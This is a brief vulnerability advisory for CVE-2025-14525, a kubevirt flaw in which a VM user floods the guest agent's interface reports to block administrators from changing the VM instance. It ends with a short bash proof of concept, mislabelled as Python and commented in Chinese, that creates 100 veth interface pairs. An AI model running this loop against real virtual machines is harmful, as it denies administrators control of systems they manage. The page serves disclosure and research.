CVE-2025-14525

Description

A flaw was found in kubevirt. A user within a virtual machine (VM), if the guest agent is active, can exploit this by causing the agent to report an excessive number of network interfaces. This action can overwhelm the system's ability to store VM configuration updates, effectively blocking changes to the Virtual Machine Instance (VMI). This allows the VM user to restrict the VM administrator's ability to manage the VM, leading to a denial of service for administrative operations.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
在VM内部执行以下命令创建大量网络接口: #!/bin/bash for i in $(seq 1 100); do ip link add veth-$i type veth peer name veth-$i-p done guest-agent会向宿主机报告这些接口,过多的接口会导致配置存储系统过载,阻止管理员对VMI的任何修改操作。
